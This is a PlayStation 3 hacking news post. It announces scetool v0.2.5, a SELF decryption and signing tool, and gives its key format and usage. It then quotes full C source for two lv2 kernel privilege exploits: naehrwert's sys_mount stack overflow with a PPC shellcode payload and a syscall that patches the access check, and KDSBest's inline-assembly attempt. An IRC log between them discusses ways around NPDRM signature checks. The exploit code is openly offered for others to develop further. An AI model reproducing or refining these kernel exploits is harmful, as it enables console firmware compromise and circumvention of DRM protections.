61w ago - Following up on his
previous revision, today PlayStation 3 developer
naehrwert has updated PS3 SCETool v0.2.5 which utilizes metadata information for decryption among the changes outlined below.
Download:
PS3 SCETool v0.2.5 /
ZLib1.dll File (Required)
scetool 0.2.5 public build (C) 2011-2012 by naehrwert
Setup:
- /data/keys : Keyfile.
- /data/ldr_curves : Loader curves (7744 bytes).
- /data/vsh_curves : VSH curves (360 bytes).
Keyfile format:
[keyname]
type={SELF, RVK, PKG, SPP, OTHER}
revision={00, ..., 18, 8000}
version={..., 0001000000000000, ...}
self_type={LV0, LV1, LV2, APP, ISO, LDR, UNK_7, NPDRM}
key=...
erk=...
riv=...
pub=...
priv=...
ctype=... Keyset example:
[metldr]
type=SELF
revision=00
self_type=LDR
erk=0000000000000000000000000000000000000000000000000000000000000000
riv=00000000000000000000000000000000
pub=00000000000000000000000000000000000000000000000000000000000000000000000000000000
priv=000000000000000000000000000000000000000000
ctype=00
NPDRM key(set) names:
- [NP_tid]: Title ID OMAC1 key.
- [NP_ci]: Control info OMAC1 key.
- [NP_klic_free]: Free klicensee.
- [NP_klic_key]: Klicensee key.
- [NP_sig]: Footer signature ECDSA keyset.
Help text:
USAGE: scetool [options] command
COMMANDS Parameters Explanation
-h, --help Print this help.
-k, --print-keys List keys.
-i, --print-infos file_in Print SCE file info.
-d, --decrypt file_in file_out Decrypt/dump SCE file.
-e, --encrypt file_in file_out Encrypt/create SCE file.
OPTIONS Possible Values Explanation
-v, --verbose Enable verbose output.
-r, --raw Enable raw value output.
-0, --sce-type SELF/RVK/PKG/SPP SCE File Type
-1, --compress-data TRUE/FALSE(default) Whether to compress data or not.
-2, --key-revision e.g. 00,01,...,0A,... Key Revision
-m, --meta-info Use provided meta info to decrypt.
-3, --self-auth-id e.g. 1010000001000003 Auth ID
-4, --self-vendor-id e.g. 01000002 Vendor ID
-5, --self-type LV0/LV1/LV2/APP/ISO/
LDR/NPDRM SELF Type
-6, --self-fw-version e.g. 0003004100000000 Firmware Version
-7, --self-add-shdrs TRUE(default)/FALSE Whether to add ELF shdrs or not.
-8, --self-ctrl-flags Override control flags.
-9, --self-cap-flags Override capability flags.
-b, --np-license-type FREE License Type
-c, --np-app-type SPRX/EXEC/UPDATE App Type
-f, --np-content-id Content ID
-g, --np-real-fname e.g. EBOOT.BIN Real Filename
-j, --np-add-sig TRUE/FALSE(default) Whether to add a NP sig. or not. History:
Version 0.2.5:
- Added option to use provided metadata info for decryption.
- "PS3" path environment variable will now be searched for keys/ldr_curves/vsh_curves too.
Version 0.2.4:
- Added option to display raw values.
- Moved factory Auth-IDs to (as they are on ps3devwiki now).
Version 0.2.2:
- Added options to override control/capability flags (32 bytes each).
- Fixed where a false keyset would crash scetool when decrypting a file.
- Some source level changes and optimizations.
Version 0.2.1:
- zlib is required to use scetool.
- 'sdk_type' was changed to 'revision' in data/keys.
Greetings to: you know who you are!
Hi all!
I'm a total PS3 n00bie but I hope to learn a lot from the bright folks up here. I have the old 60GB PS3 with a 500GB drive in it. I wanted th...
eh, whatever. i know it's not exactly for me, i was just wondering the possibilities but i'm guessing it's not something easily explained in a sentence or two in laymen terms.
To quote from his blog: Exploiting (?) lv2
A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:
1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.
2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.
Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.
/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/
#include
#include
#include
/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}
//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("• DEBUG: access check patched.\n");
}
int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.
//Patch the ctrl flags check for testing.
patch_access_check();
//Nop.
char nop[] = "X";
//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};
//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};
//Doit!
printf("• Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("• Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
return 0;
}
Sep 04 13:16:42 I just posted one last thing
Sep 04 13:17:05 I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
Sep 04 13:17:25 and yeah I said the truth
Sep 04 13:17:31 this footer signature
Sep 04 13:17:33 is not checked
Sep 04 13:17:35 even in 4.21
Sep 04 13:17:37 go figure
Sep 04 13:17:44 at least not upon npdrm self execution
Sep 04 13:17:59 I believe it is checked while the packages install
Sep 04 13:18:03 but that's something else
Sep 04 13:18:31 I don't even think it was called on 3.55 at all, (the function that does the stuff)
Sep 04 13:18:33 that's also wrong info
Sep 04 13:18:35 I gave kakaroto
Sep 04 13:18:40 over a week of work
Sep 04 13:18:48 with everything one would want to know
Sep 04 13:18:52 about self format
Sep 04 13:19:16 but he called it "useless" without revealing what I gave him
Sep 04 13:19:31 and he claimed how all of this was already public when most wasn't
Sep 04 13:19:47 he did all this along with his pamphlet in order to hide his incompetence
Sep 04 13:20:04 as he was "begging" me (literally) to get the extra info he needed to get his hack to work
Sep 04 13:20:09 and I told him to figure the rest himself
Sep 04 13:20:12 and he never could
Sep 04 13:20:19 figures
Sep 04 13:20:34 zecoxao, I gave him something he needed
Sep 04 13:20:42 but he wanted me to supply ALL the work
Sep 04 13:20:48 and I wasn't ok with that
Sep 04 13:20:58 the more I gave him
Sep 04 13:21:00 the more he asked
Sep 04 13:21:32 but yeah
Sep 04 13:22:03 if you can actually resign lv0, and put your own keyset in appldr on 4.21
Sep 04 13:22:16 and set your own keyset to something higher than 0x0D
Sep 04 13:22:35 and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
Sep 04 13:22:37 and run it
Sep 04 13:22:41 it runs just fine...
Sep 04 13:22:51 (yes, I did test this)
Sep 04 13:23:18 they do whitelist anything older than keyset 0x0D now for npdrm too
Sep 04 13:23:32 so crafting npdrms for 4.21 would not work on ofw now
Sep 04 13:23:38 but that stupid footer
Sep 04 13:23:47 which he claims is why whatever I told him was BS
Sep 04 13:23:54 is STILL NOT CHECKED
Sep 04 13:24:22 Kraparoto banned me from all the chans he is op as soon as I exposed him
Sep 04 13:24:27 how mature of him eh ?
Sep 04 13:25:22 so not only he is an incompetent whining kid, but he also totally lacks maturity
Sep 04 13:25:28 so I am done with the stupid drama
Sep 04 13:25:32 or talking to him
Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.
Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.
Finally, from KDSBest (via twitlonger.com/show/jcmh80): Since naehrwert posted an lv2 exploit I will do so too
Btw. It just crashes the console for now, since I totally overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^
//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elf
register unsigned long long payloadHolder2 asm ("r21");
register unsigned long long payloadHolder asm ("r20");
register unsigned long long stackpointer asm ("r1");
register unsigned long long counter asm ("r25");
register unsigned long long bufferStackpointer asm ("r26");
int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;
payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;
// Incrementer
counter = 0x00;
// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscall
asm("li %r0, 0x0");
asm("li %r3, 0x6");
asm("li %r4, 0x1");
// li r11, 0x24F -> PANIC
asm("mr %r22, %r20");
asm("mr %r23, %r20");
asm("mr %r24, %r20");
asm("mr %r27, %r20");
asm("mr %r28, %r20");
asm("mr %r29, %r20");
asm("mr %r30, %r20");
asm("mr %r31, %r20");
// Stack Pointer = Build Address of LV2
stackpointer += counter;
// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;
// We write sc
asm("mr %r22, %r21");
asm("mr %r23, %r21");
asm("mr %r24, %r21");
asm("mr %r27, %r21");
asm("mr %r28, %r21");
asm("mr %r29, %r21");
asm("mr %r30, %r21");
asm("mr %r31, %r21");
// Stack Pointer = Build Address of LV2
stackpointer += counter;
// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;
if(counter < 0x1000000)
goto doItAgain;
stackpointer = bufferStackpointer;
return 0;
}
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